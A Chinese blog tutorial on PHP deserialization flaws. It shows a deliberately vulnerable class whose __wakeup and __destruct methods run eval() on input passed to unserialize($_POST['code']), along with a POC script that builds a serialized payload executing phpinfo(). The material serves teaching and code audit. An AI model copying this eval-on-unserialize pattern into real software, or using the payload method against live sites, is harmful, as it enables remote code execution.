PHP反序列化漏洞原理

PHP反序列化漏洞原理

1、强化对PHP面向对象的理解

2、理解面向对象中的魔术方法

3、理解反序列化漏洞的形成原理

4、实现反序列化漏洞代码和利用

反序列化漏洞时基于序列化和反序列化的操作,在反序列化unserialize()时,存在用户可控参数,而反序列化会自动调用一些魔术方法__wakeup() __destruct() 如果这些魔术方法内 存在一些敏感函数 比如 eval() 函数,而且参数是通过反序列化中的字符串传入的,那么用户就可以通过修改反序列化字符串中的值来执行敏感操作,这就是反序列化漏洞

一、PHP反序列化回顾

1、PHP面向对象代码

<?php

class People{
    var $name = '';
    var $sex = '';
    var $age = '';
    var $addr = '';

    //魔术方法  __construct 我称其为构造函数,在类实例化时自动调用
    function __construct($name="zhangsan",$sex="male",$age="20",$addr="shenzhen") {
        $this->name = $name;
        $this->sex = $sex;
        $this->age = $age;
        $this->addr = $addr;

        echo "<br>constuct over</br>";
    }

    //魔术方法 __sleep,在类的实例化被序列化时,自动调用,并且要求该函数返回一个array,其中想序列化哪些属性,就在数组中填写属性名称
    function __sleep(){
        echo "<br>serializing</br>";
        // @eval($this->name);

        return array("name","sex","age","addr");

    }

    //魔术方法 __wakeup,在字符串被反序列化时,自动调用
    function __wakeup(){
        echo "<br>unserializing</br>";
        @eval($this->name);

    }

    //魔术方法 __destruct 我称其为析构函数,类的实例使用结束,即类的实例从内存中释放时,自动调用
    function __destruct(){
        echo "<br>destruct over</br>";
        // @eval($this->name);

    }

    function GetName(){
        echo "<br>".$this->name."</br>";
    }

}

//序列化过程
// $p1 = new People();
// echo $p1->GetName();
// echo "<br>".serialize($p1)."</br>";

//反序列化过程
// $source = 'O:6:"People":4:{s:4:"name";s:4:"lisi";s:3:"sex";s:4:"male";s:3:"age";s:2:"20";s:4:"addr";s:8:"shenzhen";}';
$source = 'O:6:"People":4:{s:4:"name";s:10:"phpinfo();";s:3:"sex";s:0:"";s:3:"age";s:0:"";s:4:"addr";s:0:"";}';
$p2 = unserialize($source);
$p2->GetName();

?>

PHP中的Session文件中的内容,查看是否为序列化后的内容

2、魔术方法

在PHP反序列化的过程中会自动执行一些魔术方法,完整列表如下:

方法名调用条件
__call调用不可访问或不存在的方法时,自动调用__call($name,$args)
__callStatic调用不可访问或不存在的静态方法时被调用
__clone进行对象clone时被调用,用来调整对象的克隆行为
__construct构造对象时被调用
__debuginfo当调用var_dump()打印对象时被调用(当你不想打印所有元素)适用于PHP5.6版本
__destruct明确销毁对象或脚本结束时被调用
__get读取不可访问或不存在属性时被调用
__invoke当对象以函数方式调用时被调用
__isset当对不可访问或不存在的属性调用isset()或empty()时被调用
__set当对不可访问或不存在的属性赋值时被调用
__set_state当调用var_export()导出类时,此静态方法被调用。且用__set_state的返回值作为var_export()函数的返回值
__sleep当使用serialize序列化时被调用,当你不需要保存大对象的所有数据时很有用
__toString当一个类被转换成字符串时被调用
__unset对不可访问或不存在的属性进行unset()时被调用
__wakeup当使用unserialize发序列化时被调用,可用来做一些对象初始化的操作

二、反序列化漏洞

1、上述代码存在反序列化漏洞的代码

//魔术方法 __wakeup,在字符串被反序列化时,自动调用
function __wakeup(){
    echo "<br>unserializing</br>";
    @eval($this->name);

}

//魔术方法 __destruct 我称其为析构函数,类的实例使用结束,即类的实例从内存中释放时,自动调用
function __destruct(){
    echo "<br>destruct over</br>";
    // @eval($this->name);

}

function GetName(){
    echo "<?php".$this->name."?>";
}

$p2 = unserialize($_POST['code']);
$p2->GetName();

2、如何利用反序列化漏洞

(1)先分析代码的结构,值如何传入,什么情况下会被调用,被调用后是什么结果

(2)由于反序列化所需要的序列值通常是比较复杂的结构,人为手工构造很容易出错且基本是不可能的事,所以需要我们自己编写一个类,该类与源代码中的类 具有相同的类名,相同的属性,甚至相同代码的类,用于生成序列化之后的字符串

新建一个PHP源文件 unserializePOC.php

<?php

class People{
    var $name = 'phpinfo();';
    var $sex = '';
    var $age = '';
    var $addr = '';
}
$p1 = new People();
echo serialize($p1);

?>

输出为 O:6:"People":4:{s:4:"name";s:10:"phpinfo();";s:3:"sex";s:0:"";s:3:"age";s:0:"";s:4:"addr";s:0:"";}

(3)从上述代码中获取到反序列化的结果,然后将该值传入有漏洞的代码,完成利用

因为传入序列值,该代码会反序列化,而我所传入的序列值中的name为 phpinfo() 又因为反序列化时会自动调用 __wakeup()__destruct() ,所以敏感函数只要存在这两个魔术方法中都可以实现漏洞利用

在这里插入图片描述

3、关于 __wakeup

//魔术方法 __wakeup,在字符串被反序列化时,自动调用
function __wakeup(){
    echo "<br>unserializing</br>";
    $this->name = "ymqyyds";
    // @eval($this->name);

}

//魔术方法 __destruct 我称其为析构函数,类的实例使用结束,即类的实例从内存中释放时,自动调用
function __destruct(){
    // @eval($this->name);
    echo "<br>destruct over</br>";
    @eval($this->name);

}

//反序列化过程
// $source = 'O:6:"People":4:{s:4:"name";s:4:"lisi";s:3:"sex";s:4:"male";s:3:"age";s:2:"20";s:4:"addr";s:8:"shenzhen";}';
// $source = 'O:6:"People":4:{s:4:"name";s:10:"phpinfo();";s:3:"sex";s:0:"";s:3:"age";s:0:"";s:4:"addr";s:0:"";}';

$p2 = unserialize($_POST['code']);
$p2->GetName();

__wakeup 中没有 $this->name = "ymqyyds"; 代码时

在这里插入图片描述

__wakeup 中有 $this->name = "ymqyyds"; 代码时

在这里插入图片描述

为什么,不就是把 __destruct() 函数中的 @eval($this->name);代码 中的$this->name换成了ymqyyds吗 POST中传入的值都是一样的,为什么会报错呢

如果我们把 @eval($this->name); 代码移动到 echo "<br>destruct over</br>"; 前面

在这里插入图片描述

果然,此时就不会输出 destruct over,问题出在了 @eval($this->name); 或者说 @eval("ymqyyds");

调试

在这里插入图片描述

课程小结

本节内容只是简单解释反序列化漏洞,与真实的利用情况还有很大的出入,同时反序列化漏洞也是代码审计时,除了敏感函数和输入校验外,比较重视的一种情况

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值